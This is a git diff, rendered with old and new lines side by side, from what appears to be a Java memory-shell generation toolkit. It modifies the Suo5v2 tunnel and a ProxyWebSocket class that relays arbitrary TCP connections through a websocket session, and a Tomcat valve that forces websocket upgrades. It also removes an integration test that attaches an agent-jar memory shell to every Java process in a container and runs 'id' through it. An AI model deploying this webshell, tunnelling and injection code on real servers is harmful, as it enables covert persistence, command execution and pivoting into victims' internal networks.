private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception { private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
try { try {
byte[] readBuf = new byte[1024 * 8]; byte[] readBuf = new byte[1024 * 8];
while (true) { while (true) {
@@ -625,9 +624,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
} }
outputStream.write(dataTmp); outputStream.write(dataTmp);
outputStream.flush(); outputStream.flush();
if (resp != null) {
resp.getClass().getMethod("flushBuffer").invoke(resp);
}
} }
} finally { } finally {
// don't close outputStream // don't close outputStream
@@ -1035,7 +1031,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
// full stream // full stream
if (this.mode == 0) { if (this.mode == 0) {
try { try {
pipeStream(gInStream, gOutStream, null, true); pipeStream(gInStream, gOutStream, true);
} catch (Exception ignore) { } catch (Exception ignore) {
} }
return; return;
@@ -1069,17 +1065,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
// write thread // write thread
while (true) { while (true) {
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
if (data == null) { if (data == null || data.length == 0) {
selfClean = true; selfClean = true;
break; break;
} }
if (data.length == 0) {
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
if (signal == null) {
selfClean = true;
}
break;
}
ByteBuffer buf = ByteBuffer.wrap(data); ByteBuffer buf = ByteBuffer.wrap(data);
while (buf.hasRemaining()) { while (buf.hasRemaining()) {
sc.write(buf); sc.write(buf);
@@ -1091,8 +1080,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (selfClean) { if (selfClean) {
removeKey(this.gtunId); removeKey(this.gtunId);
readQueue.clear();
} }
readQueue.clear();
writeQueue.clear(); writeQueue.clear();
try { try {
writeQueue.put(new byte[0]); writeQueue.put(new byte[0]);
@@ -5,7 +5,6 @@ import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response; import org.apache.catalina.connector.Response;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.websocket.server.ServerContainer;
import java.io.IOException; import java.io.IOException;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -30,16 +29,19 @@ public class TomcatWsBypassValve implements Valve {
} else { } else {
path = request.getServletPath() + pathInfo; path = request.getServletPath() + pathInfo;
} }
Object sc = request.getServletContext().getAttribute(ServerContainer.class.getName()); Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
if (sc == null) {
sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
}
if (sc == null) { if (sc == null) {
throw new ServletException("Server container not found"); throw new ServletException("Server container not found");
} }
addHeader(request, "Connection", "upgrade");
addHeader(request, "Upgrade", "websocket");
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path); Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil"); Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
for (Method method : upgradeUtil.getMethods()) { for (Method method : upgradeUtil.getMethods()) {
if ("doUpgrade".equals(method.getName())) { if ("doUpgrade".equals(method.getName())) {
addHeader(request, "Connection", "upgrade");
addHeader(request, "Upgrade", "websocket");
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams")); method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
} }
} }
@@ -4,11 +4,12 @@ import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig; import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler; import javax.websocket.MessageHandler;
import javax.websocket.Session; import javax.websocket.Session;
import javax.websocket.CloseReason; import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel; import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler; import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future; import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
@@ -20,114 +21,89 @@ public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<Byt
private Session session; private Session session;
private long messageCount = 0; private long messageCount = 0;
private AsynchronousSocketChannel currentClient = null; private AsynchronousSocketChannel currentClient = null;
private final ByteBuffer buffer = ByteBuffer.allocate(32768); private final ByteBuffer buffer = ByteBuffer.allocate(102400);
private ByteArrayOutputStream baos = new ByteArrayOutputStream();
private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
public ProxyWebSocket() { public ProxyWebSocket() {
} }
@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.messageCount = 0;
this.session = session;
session.addMessageHandler(this);
}
private void readFromServer() {
if (currentClient != null && currentClient.isOpen() && session.isOpen()) {
buffer.clear();
currentClient.read(buffer, session, this);
}
}
@Override
public void onMessage(ByteBuffer message) {
try {
messageCount++;
process(message, session);
} catch (Exception e) {
closeQuietly();
}
}
private void process(ByteBuffer messageBuffer, Session channel) {
try {
if (messageCount > 1 && currentClient != null && currentClient.isOpen()) {
currentClient.write(messageBuffer).get();
} else if (messageCount == 1) {
byte[] bytes = new byte[messageBuffer.remaining()];
messageBuffer.get(bytes);
String values = new String(bytes);
String[] array = values.split(" ");
if (array.length < 2) return;
String[] addrArray = array[1].split(":");
currentClient = AsynchronousSocketChannel.open();
int port = Integer.parseInt(addrArray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
Future<Void> future = currentClient.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch (Exception e) {
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
closeQuietly();
return;
}
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
readFromServer();
}
} catch (Exception e) {
closeQuietly();
}
}
@Override
public void completed(Integer result, Session attachment) { public void completed(Integer result, Session attachment) {
if (result == -1) { buffer.clear();
closeQuietly();
return;
}
try { try {
if (result > 0) { if (buffer.hasRemaining() && result >= 0) {
buffer.flip(); byte[] arr = new byte[result];
buffer.get(arr, 0, result);
baos.write(arr, 0, result);
ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
if (attachment.isOpen()) { if (attachment.isOpen()) {
attachment.getBasicRemote().sendBinary(buffer); attachment.getBasicRemote().sendBinary(response);
}
baos = new ByteArrayOutputStream();
readFromServer(attachment, currentClient);
} else {
if (result > 0) {
byte[] arr = new byte[result];
buffer.get(arr, 0, result);
baos.write(arr, 0, result);
readFromServer(attachment, currentClient);
} }
} }
readFromServer(); } catch (Exception ignored) {
} catch (Exception e) {
closeQuietly();
} }
} }
@Override @Override
public void failed(Throwable exc, Session attachment) { public void failed(Throwable exc, Session attachment) {
closeQuietly(); exc.printStackTrace();
} }
@Override public void onMessage(ByteBuffer message) {
public void onClose(Session session, CloseReason closeReason) {
closeQuietly();
}
@Override
public void onError(Session session, Throwable thr) {
closeQuietly();
}
private void closeQuietly() {
try { try {
if (currentClient != null && currentClient.isOpen()) { message.clear();
currentClient.close(); messageCount++;
} process(message, session);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
}
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.messageCount = 0;
this.session = session;
session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
session.addMessageHandler(this);
}
private void readFromServer(Session channel, AsynchronousSocketChannel client) {
this.currentClient = client;
buffer.clear();
client.read(buffer, channel, this);
}
private void process(ByteBuffer messageBuffer, Session channel) {
try { try {
if (session != null && session.isOpen()) { if (messageCount > 1) {
session.close(); AsynchronousSocketChannel client = channelMap.get(channel.getId());
client.write(messageBuffer).get();
readFromServer(channel, client);
} else if (messageCount == 1) {
String values = new String(messageBuffer.array());
String[] array = values.split(" ");
String[] addrArray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int port = Integer.parseInt(addrArray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch (Exception ignored) {
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
channelMap.put(channel.getId(), client);
readFromServer(channel, client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} }
@@ -145,7 +145,7 @@ public class CommonUtil {
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
} }
public static String getSimpleName(String className) { public static String getSimpleName(String injectorClassName) {
return className.substring(className.lastIndexOf(".") + 1); return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
} }
} }
@@ -0,0 +1,25 @@
package org.apache.catalina;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/27
*/
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}
@@ -0,0 +1,349 @@
package org.apache.catalina.connector;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.security.Principal;
import java.util.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class Request implements HttpServletRequest {
@Override
public String getAuthType() {
return "";
}
@Override
public Cookie[] getCookies() {
return new Cookie[0];
}
@Override
public long getDateHeader(String name) {
return 0;
}
@Override
public String getHeader(String name) {
return "";
}
@Override
public Enumeration<String> getHeaders(String name) {
return null;
}
@Override
public Enumeration<String> getHeaderNames() {
return null;
}
@Override
public int getIntHeader(String name) {
return 0;
}
@Override
public String getMethod() {
return "";
}
@Override
public String getPathInfo() {
return "";
}
@Override
public String getPathTranslated() {
return "";
}
@Override
public String getContextPath() {
return "";
}
@Override
public String getQueryString() {
return "";
}
@Override
public String getRemoteUser() {
return "";
}
@Override
public boolean isUserInRole(String role) {
return false;
}
@Override
public Principal getUserPrincipal() {
return null;
}
@Override
public String getRequestedSessionId() {
return "";
}
@Override
public String getRequestURI() {
return "";
}
@Override
public StringBuffer getRequestURL() {
return null;
}
@Override
public String getServletPath() {
return "";
}
@Override
public HttpSession getSession(boolean create) {
return null;
}
@Override
public HttpSession getSession() {
return null;
}
@Override
public boolean isRequestedSessionIdValid() {
return false;
}
@Override
public boolean isRequestedSessionIdFromCookie() {
return false;
}
@Override
public boolean isRequestedSessionIdFromURL() {
return false;
}
@Override
public boolean isRequestedSessionIdFromUrl() {
return false;
}
@Override
public boolean authenticate(HttpServletResponse response) throws IOException, ServletException {
return false;
}
@Override
public void login(String username, String password) throws ServletException {
}
@Override
public void logout() throws ServletException {
}
@Override
public Collection<Part> getParts() throws IOException, ServletException {
return Collections.emptyList();
}
@Override
public Part getPart(String name) throws IOException, ServletException {
return null;
}
@Override
public Object getAttribute(String name) {
return null;
}
@Override
public Enumeration<String> getAttributeNames() {
return null;
}
@Override
public String getCharacterEncoding() {
return "";
}
@Override
public void setCharacterEncoding(String env) throws UnsupportedEncodingException {
}
@Override
public int getContentLength() {
return 0;
}
@Override
public String getContentType() {
return "";
}
@Override
public ServletInputStream getInputStream() throws IOException {
return null;
}
@Override
public String getParameter(String name) {
return "";
}
@Override
public Enumeration<String> getParameterNames() {
return null;
}
@Override
public String[] getParameterValues(String name) {
return new String[0];
}
@Override
public Map<String, String[]> getParameterMap() {
return Collections.emptyMap();
}
@Override
public String getProtocol() {
return "";
}
@Override
public String getScheme() {
return "";
}
@Override
public String getServerName() {
return "";
}
@Override
public int getServerPort() {
return 0;
}
@Override
public BufferedReader getReader() throws IOException {
return null;
}
@Override
public String getRemoteAddr() {
return "";
}
@Override
public String getRemoteHost() {
return "";
}
@Override
public void setAttribute(String name, Object o) {
}
@Override
public void removeAttribute(String name) {
}
@Override
public Locale getLocale() {
return null;
}
@Override
public Enumeration<Locale> getLocales() {
return null;
}
@Override
public boolean isSecure() {
return false;
}
@Override
public RequestDispatcher getRequestDispatcher(String path) {
return null;
}
@Override
public String getRealPath(String path) {
return "";
}
@Override
public int getRemotePort() {
return 0;
}
@Override
public String getLocalName() {
return "";
}
@Override
public String getLocalAddr() {
return "";
}
@Override
public int getLocalPort() {
return 0;
}
@Override
public ServletContext getServletContext() {
return null;
}
@Override
public AsyncContext startAsync() throws IllegalStateException {
return null;
}
@Override
public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException {
return null;
}
@Override
public boolean isAsyncStarted() {
return false;
}
@Override
public boolean isAsyncSupported() {
return false;
}
@Override
public AsyncContext getAsyncContext() {
return null;
}
@Override
public DispatcherType getDispatcherType() {
return null;
}
public Response getResponse() {
return null;
}
}
@@ -0,0 +1,196 @@
package org.apache.catalina.connector;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Collection;
import java.util.Collections;
import java.util.Locale;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class Response implements HttpServletResponse {
@Override
public void addCookie(Cookie cookie) {
}
@Override
public boolean containsHeader(String name) {
return false;
}
@Override
public String encodeURL(String url) {
return "";
}
@Override
public String encodeRedirectURL(String url) {
return "";
}
@Override
public String encodeUrl(String url) {
return "";
}
@Override
public String encodeRedirectUrl(String url) {
return "";
}
@Override
public void sendError(int sc, String msg) throws IOException {
}
@Override
public void sendError(int sc) throws IOException {
}
@Override
public void sendRedirect(String location) throws IOException {
}
@Override
public void setDateHeader(String name, long date) {
}
@Override
public void addDateHeader(String name, long date) {
}
@Override
public void setHeader(String name, String value) {
}
@Override
public void addHeader(String name, String value) {
}
@Override
public void setIntHeader(String name, int value) {
}
@Override
public void addIntHeader(String name, int value) {
}
@Override
public void setStatus(int sc) {
}
@Override
public void setStatus(int sc, String sm) {
}
@Override
public int getStatus() {
return 0;
}
@Override
public String getHeader(String name) {
return "";
}
@Override
public Collection<String> getHeaders(String name) {
return Collections.emptyList();
}
@Override
public Collection<String> getHeaderNames() {
return Collections.emptyList();
}
@Override
public String getCharacterEncoding() {
return "";
}
@Override
public String getContentType() {
return "";
}
@Override
public ServletOutputStream getOutputStream() throws IOException {
return null;
}
@Override
public PrintWriter getWriter() throws IOException {
return null;
}
@Override
public void setCharacterEncoding(String charset) {
}
@Override
public void setContentLength(int len) {
}
@Override
public void setContentType(String type) {
}
@Override
public void setBufferSize(int size) {
}
@Override
public int getBufferSize() {
return 0;
}
@Override
public void flushBuffer() throws IOException {
}
@Override
public void resetBuffer() {
}
@Override
public boolean isCommitted() {
return false;
}
@Override
public void reset() {
}
@Override
public void setLocale(Locale loc) {
}
@Override
public Locale getLocale() {
return null;
}
}
@@ -0,0 +1,8 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface Adapter {
}
@@ -0,0 +1,8 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface Processor {
}
@@ -0,0 +1,11 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class Request {
public Object getNote(int id) {
return null;
}
}
@@ -0,0 +1,22 @@
package org.apache.coyote;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface UpgradeProtocol {
public String getHttpUpgradeName(boolean isSSLEnabled);
public byte[] getAlpnIdentifier();
public String getAlpnName();
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter);
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request);
public boolean accept(Request request);
}
@@ -0,0 +1,8 @@
package org.apache.coyote.http11.upgrade;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface InternalHttpUpgradeHandler {
}
@@ -0,0 +1,8 @@
package org.apache.tomcat.util.net;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class SocketWrapperBase<E> {
}
@@ -28,6 +28,12 @@ class ListenerGeneratorTest {
} }
} }
public static class J {
public HttpServletResponse getResponseFromRequest(HttpServletRequest request) {
return null;
}
}
public static class FakeRequest { public static class FakeRequest {
public Object response = "i'm a good boy"; public Object response = "i'm a good boy";
} }
@@ -38,6 +44,12 @@ class ListenerGeneratorTest {
Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world")); Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world"));
} }
@Test
void testGetResponseFromRequestSignatureError() {
DynamicType.Builder<?> builder = new ByteBuddy().redefine(J.class);
Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(J.class), "hello.world"));
}
@Test @Test
@SneakyThrows @SneakyThrows
void test() { void test() {
+15 -21
View File
@@ -11,39 +11,33 @@ spring-webflux = "5.3.24"
reactor-netty = "1.1.25" reactor-netty = "1.1.25"
jackson = "2.19.0" jackson = "2.19.0"
jetbrains-annotations = "26.0.2" jetbrains-annotations = "26.0.2"
alibaba-dubbo = "2.6.12"
apache-dubbo = "2.7.6"
tomcat = "8.5.85"
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy byte-buddy = "1.18.4"
commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io commons-io = "2.21.0"
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 commons-lang3 = "3.20.0"
commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec commons-codec = "1.20.0"
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic logback = "1.5.24"
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp okhttp3 = "5.3.2"
fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 fastjson2 = "2.0.60"
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket java-websocket = "1.6.0"
mockito = "5.21.0" mockito = "5.20.0"
hamcrest = "3.0" hamcrest = "3.0"
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter junit-jupiter = "5.14.2"
junit-pioneer = "2.3.0" junit-pioneer = "2.3.0"
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher junit-platform = "1.14.2"
testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers testcontainers = "2.0.3"
[libraries] [libraries]
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
apache-dubbo = { module = "org.apache.dubbo:dubbo", version.ref = "apache-dubbo" }
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" } byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "tomcat" }
asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" } asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" } jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" } jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" } javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" } jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" } javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api" } jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"}
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api" } jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"}
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" } spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" } spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" } reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
@@ -75,4 +69,4 @@ testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins] [plugins]
lombok = { id = "io.freefair.lombok", version = "9.2.0" } lombok = { id = "io.freefair.lombok", version = "9.2.0" }
shadow = { id = "com.gradleup.shadow", version = "9.3.1" } shadow = { id = "com.gradleup.shadow", version = "9.3.1"}
@@ -1,11 +0,0 @@
services:
resin2117:
image: reajason/resin:2.1.17-jdk6
container_name: resin2117
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
@@ -2,8 +2,6 @@ services:
was700: was700:
image: reajason/websphere:7.0.0.21 image: reajason/websphere:7.0.0.21
container_name: was700 container_name: was700
environment:
JAVA_OPTS: -Xshareclasses:none
ports: ports:
- "9080:9080" - "9080:9080"
- "9060:9060" - "9060:9060"
@@ -1,12 +0,0 @@
services:
was905:
image: reajason/websphere:9.0.5.17
container_name: was905
ports:
- "9080:9080"
- "9060:9060"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war
+1 -1
View File
@@ -1,2 +1,2 @@
#!/bin/bash #!/bin/bash
pgrep -f 'Resin|-Dresin' | tr -d '\n' pgrep -f Resin | tr -d '\n'
@@ -503,60 +503,4 @@ public class ShellAssertion {
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]") containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
)); ));
} }
@SneakyThrows
public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
String shellTool = ShellTool.Command;
Packers packer = Packers.AgentJarWithJREAttacher;
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
// Pack and copy to container
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes);
String jarPath = "/listProcessTest.jar";
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
FileUtils.deleteQuietly(tempJar.toFile());
// Test 1: List processes (no args)
Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
String listStdout = listResult.getStdout();
if (listStdout.contains("executable file not found")) {
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
listStdout = listResult.getStdout();
if (listStdout.contains("no such file or directory")) {
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath);
listStdout = listResult.getStdout();
}
}
log.info("list processes output:\n{}", listStdout);
System.out.println("list stderr: " + listResult.getStderr());
assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
// Test 2: Attach all
Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
String attachStdout = attachResult.getStdout();
if (attachStdout.contains("executable file not found")) {
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
attachStdout = attachResult.getStdout();
if (attachStdout.contains("no such file or directory")) {
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath, "all");
attachStdout = attachResult.getStdout();
}
}
log.info("attach all output:\n{}", attachStdout);
System.out.println("attach all stderr: " + attachResult.getStderr());
assertThat("Attach all should complete with Success", attachStdout, containsString("Success"));
// Test 3: Verify shell injection was successful
String paramName = ((CommandConfig) shellToolConfig).getParamName();
commandIsOk(shellUrl, shellType, paramName, "id");
}
} }
@@ -2,12 +2,10 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -61,9 +59,4 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,12 +2,10 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -61,9 +59,4 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,12 +2,10 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -60,9 +58,4 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
